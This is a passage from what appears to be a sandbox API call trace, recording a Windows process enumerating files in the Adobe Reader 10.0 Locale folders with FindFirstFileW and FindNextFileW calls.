(in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0370 [0045.461] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.461] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9850, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.461] FindClose (in: hFindFile=0x3ec0370 | out: hFindFile=0x3ec0370) returned 1 [0045.461] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe38b8 | out: hHeap=0x4b0000) returned 1 [0045.461] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.FRA", cAlternateFileName="")) returned 1 [0045.461] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0045.462] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0045.462] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr_HR", cAlternateFileName="")) returned 1 [0045.462] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0045.462] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.462] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.HRV", cAlternateFileName="ACCESS~1.HRV")) returned 1 [0045.463] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0370 [0045.463] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.463] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9049, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.463] FindClose (in: hFindFile=0x3ec0370 | out: hFindFile=0x3ec0370) returned 1 [0045.463] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe38b8 | out: hHeap=0x4b0000) returned 1 [0045.463] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0106a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.HRV", cAlternateFileName="")) returned 1 [0045.463] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0045.463] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0045.463] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu_HU", cAlternateFileName="")) returned 1 [0045.463] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0045.463] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.463] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.HUN", cAlternateFileName="ACCESS~1.HUN")) returned 1 [0045.464] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0370 [0045.464] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.464] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9598, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.465] FindClose (in: hFindFile=0x3ec0370 | out: hFindFile=0x3ec0370) returned 1 [0045.465] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe38b8 | out: hHeap=0x4b0000) returned 1 [0045.465] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.HUN", cAlternateFileName="")) returned 1 [0045.465] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0045.465] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0045.465] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it_IT", cAlternateFileName="")) returned 1 [0045.465] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0045.465] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.465] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.ITA", cAlternateFileName="ACCESS~1.ITA")) returned 1 [0045.466] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0370 [0045.466] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.466] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8fdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.466] FindClose (in: hFindFile=0x3ec0370 | out: hFindFile=0x3ec0370) returned 1 [0045.466] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe38b8 | out: hHeap=0x4b0000) returned 1 [0045.466] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.ITA", cAlternateFileName="")) returned 1 [0045.467] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0045.467] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0045.467] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja_JP", cAlternateFileName="")) returned 1 [0045.467] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0045.467] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.467] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.JPN", cAlternateFileName="ACCESS~1.JPN")) returned 1 [0045.468] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0370 [0045.468] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.468] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.468] FindClose (in: hFindFile=0x3ec0370 | out: hFindFile=0x3ec0370) returned 1 [0045.468] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe38b8 | out: hHeap=0x4b0000) returned 1 [0045.468] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.JPN", cAlternateFileName="")) returned 1 [0045.468] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0045.468] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0045.468] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko_KR", cAlternateFileName="")) returned 1 [0045.468] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0045.661] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.661] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.KOR", cAlternateFileName="ACCESS~1.KOR")) returned 1 [0045.662] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0370 [0045.672] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 